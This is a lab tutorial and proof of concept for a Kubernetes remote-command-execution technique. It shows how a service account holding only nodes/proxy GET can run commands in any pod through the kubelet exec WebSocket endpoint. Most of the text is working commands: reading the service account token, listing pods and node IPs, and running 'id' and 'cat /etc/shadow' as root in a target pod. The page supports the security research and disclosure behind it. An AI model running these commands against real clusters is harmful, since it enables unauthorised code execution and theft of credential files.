Tutorial  on  KubernetesSecurity

Kubernetes RCE: Exploiting nodes/proxy GET

This is a minimal proof of concept. For a comprehensive analysis of this vulnerability, including root cause analysis, disclosure timeline, and detection recommendations, see the full blog post.

This lab demonstrates how nodes/proxy GET permissions allow command execution in any Pod, despite appearing to be read-only.

Enter the attacker pod

First, exec into the attacker pod. This pod has a service account with only nodes/proxy GET permissions.

kubectl exec -it attacker -- sh

Check your permissions

Verify the service account only has nodes/proxy GET:

kubectl auth can-i --list

You should see nodes/proxy with only the get verb - no create permission.

Set up environment variables

Inside the attacker pod, set up the token and API server:

export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

Extract the node name from the JWT token payload (JWT uses base64url encoding):

export NODE_NAME=$(echo "$(echo $TOKEN | cut -d. -f2)==" | tr '_-' '/+' | base64 -d 2>/dev/null | jq -r '.["kubernetes.io"].node.name')
echo $NODE_NAME

Discover Pods and Node IPs

Using only nodes/proxy GET, query the API server proxy endpoint to list all pods on a node and discover their host IPs:

wget -qO- --no-check-certificate \
  --header "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[] | "Node: \(.spec.nodeName) (\(.status.hostIP)), Namespace: \(.metadata.namespace), Pod: \(.metadata.name)"'

Extract just the node IP for later use:

export NODE_IP=$(wget -qO- --no-check-certificate \
  --header "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[0].status.hostIP')

echo $NODE_IP

Execute commands in any Pod

Now use websocat to execute commands in the nginx pod. This works because WebSocket connections use HTTP GET for the handshake, bypassing the CREATE verb check:

websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"

You should see output like uid=0(root) gid=0(root) groups=0(root) - proving command execution with only GET permissions.

websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=cat&command=/etc/shadow"

Read the contents of /etc/shadow on the nginx host.

Why does this work?

For a full breakdown, please refer to the full disclosure.











Level up your Server Side game — Join 20,000 engineers who receive insightful learning materials straight to their inbox